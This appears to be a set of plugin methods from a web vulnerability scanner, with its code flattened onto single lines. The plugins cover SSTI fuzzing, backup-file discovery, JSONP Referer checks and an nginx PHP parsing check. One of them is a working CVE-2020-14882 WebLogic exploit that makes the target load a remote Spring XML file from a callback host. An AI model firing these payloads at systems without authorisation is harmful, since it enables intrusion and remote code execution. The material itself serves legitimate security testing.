def verify(self): if self.dictdata.get("url").get("extension")[:3].lower() not in ["", "php", "do", "action"]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: thread_datas = [(param, test_payload) for test_payload in others.ssti_payloads] mythread(self.inject, thread_datas, cmd_line_options.threads)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return # 生成字典 self.similar_rate = 0.8 # 相似度 ,越大误报越高 self.parser = dictdata_parser(self.dictdata) self.rootpath = self.parser.getrootpath() self.dicc = list(set(others.url_dict_path + self.get_domain_backfile(self.dictdata.get("url").get("host")))) self.error_content = self.check_url(get_random_str(10), verify=False) mythread(self.run, self.dicc, cmd_line_options.threads)
def poc2(self): '''' from: https://github.com//jas502n//CVE-2020-14882 ''' for postdata in [ '''_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("{}")''', '''_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("{}")''' ]: random_file = get_random_str(9).lower() + ".xml" url, hexdata = generate(random_file, "http2") req = { "method": "POST", "url": self.url + '''console/images/%252E%252E%252Fconsole.portal''', "data": postdata.format(url), "headers": { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } r = request(**req) res, _ = query_reverse(hexdata) if res: parser = response_parser( r) if r is not None else dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0] if r is None else r.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "second way to find :{} in reverse".format(hexdata), "payload:": postdata, "request": parser.getrequestraw(), "response": parser.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return # 配置不当 parser = dictdata_parser(self.dictdata) req_headers = self.dictdata.get("request").get("headers") req_headers_withpayload = copy.deepcopy(req_headers) params_url = parser.getrequestparams_urlorcookie("url") if params_url and "callback" in params_url.keys(): findit = False for k, v in req_headers_withpayload.items(): if k.lower() == "referer": p = urlparse.urlparse(v) port = "" if ":" in p.netloc: netloc_, port = p.netloc.split(":", 1) else: netloc_ = p.netloc if netloc_.count(".") < 2: newnetloc = netloc_ + ".com.cn" else: newnetloc = netloc_ + "." + get_random_str( 3).lower() + ".".join(netloc_.split(".")[-2:]) v = v.replace(p.netloc, newnetloc + port, 1) req_headers_withpayload[k] = v findit = True break if not findit: req_headers_withpayload[ "Referer"] = "https://www.baidusectest.com/index.php" req = parser.generaterequest({"headers": req_headers_withpayload}) r = request(**req) if r != None: similar_rate = similar(r.content, parser.getresponsebody()) if similar_rate > 0.9: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.dictdata.get("url").get("url").split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "resp_similar": similar_rate, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 1)) + 2: return if "nginx" not in self.dictdata["response"]["headers"].get( "Server", "").lower(): return parse = dictdata_parser(self.dictdata) if not self.can_output(parse.getrootpath() + self.name): # 限定只输出一次 return random_s = get_random_str(5).lower() + ".php" req = { "method": "GET", "url": self.url + random_s, "timeout": 10, "verify": False, } r = request(**req) if r is not None and r.status_code != 200: path = "" if self.dictdata["url"]["extension"] != "php": path = "index.php" else: path = self.dictdata["url"]["path"][1:] req = { "method": "GET", "url": self.url + path, "timeout": 10, "verify": False, } r = request(**req) if r is not None and r.status_code == 200: req["url"] = self.url + path + "/.php" r1 = request(**req) if r1 is not None and r1.status_code == 200: if similar(r1.content, r.content) > 0.9: parse_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parse_.getrequestraw(), "response": parse_.getresponseraw() } }) self.can_output(parse.getrootpath() + self.name, True)